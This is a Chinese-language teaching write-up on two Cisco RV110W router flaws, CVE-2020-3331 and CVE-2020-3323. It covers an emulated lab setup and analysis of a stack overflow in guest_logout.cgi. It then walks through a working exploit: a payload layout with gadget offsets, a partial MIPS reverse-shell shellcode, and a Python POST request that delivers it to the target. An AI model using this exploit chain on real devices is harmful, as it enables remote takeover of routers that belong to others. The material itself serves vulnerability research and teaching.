思科RV110W CVE-2020-3331 CVE-2020-3323漏洞分析
字数 1110 2025-08-06 08:35:41
思科RV110W漏洞分析教学文档(CVE-2020-3331/CVE-2020-3323)
一、漏洞概述
- 影响设备:思科RV110W路由器
- 漏洞类型:格式化字符串漏洞(CVE-2020-3331)和栈溢出漏洞(CVE-2020-3323)
- 触发点:
guest_logout.cgi中的sscanf函数 - 利用条件:通过HTTP POST请求构造恶意参数触发漏洞,实现任意代码执行。
二、环境搭建
1. 模拟环境准备
- 工具链:
- QEMU模拟器(
qemu-system-mipsel) - MIPS架构内核镜像(
vmlinux-3.2.0-4-4kc-malta) - Debian MIPS磁盘镜像(
debian_wheezy_mipsel_standard.qcow2)
- QEMU模拟器(
- 启动命令:
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_wheezy_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0 nokalsr" \ -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
2. NVRAM Hook
- 问题:路由器固件依赖NVRAM获取配置,模拟环境中需绕过检查。
- 解决方案:编译动态库
nvram.so替换nvram_get函数:#include <stdio.h> #include <string.h> char *nvram_get(char *key) { if(strcmp(key, "lan_ipaddr") == 0) return strdup("127.0.0.1"); return NULL; }- 编译:
mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so - 启动HTTP服务:
LD_PRELOAD="./nvram.so" ./httpd
- 编译:
三、漏洞分析
1. 漏洞定位
- 关键代码:
guest_logout.cgi中的sscanf调用:sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28); // v11为用户可控输入- 漏洞成因:未对输入长度校验,导致栈溢出。
2. 利用链构造
- 覆盖返回地址:
- 通过
submit_button参数覆盖栈上的$ra和$s0寄存器。 - Payload结构:
payload = "status_guestnet.asp" + 'a'*49 + p32(jmp_a0) + 0x20*'a' + p32(jmp_s0) + shellcode - 关键地址:
jmp_a0:libc_base + 0x0003D050(跳转到$a0)jmp_s0:libc_base + 0x000257A0(跳转到$s0)
- 通过
3. Shellcode编写
- MIPS反向Shell(无
\x00):slti $a0, $zero, -1 # 绕过空字节 li $v0, 4006 # syscall号 syscall 0x42424 # 触发执行- 回连配置:修改IP和端口(需转换为大端序)。
四、漏洞利用
1. 攻击步骤
- 发送恶意POST请求:
requests.post("http://target/guest_logout.cgi", data={ "cmac": "7a:29:9f:d3:d2:6e", "submit_button": payload, "cip": "192.168.1.1" }) - 触发Shellcode:
- 通过
jalr $s0跳转到栈上的Shellcode。 - 实现反向Shell连接攻击者机器。
- 通过
2. 调试技巧
- GDB附加:
gdb-multiarch -ex "target remote :1234" -ex "b *0x431b60" - 栈布局检查:
x/20wx $sp+0x18 # 确认Shellcode位置
五、Docker化环境
- 镜像构建:
FROM vulshare/cve-2020-3331:lxonz CMD ["/bin/sh", "-c", "chmod 755 qemu_mipsel.sh && sh qemu_mipsel.sh"] EXPOSE 80 31337 1234 - 端口映射:
80:HTTP服务31337:反向Shell端口1234:GDB调试端口
六、参考链接
注:实际利用时需根据目标环境调整偏移量和Shellcode。建议在隔离环境中测试。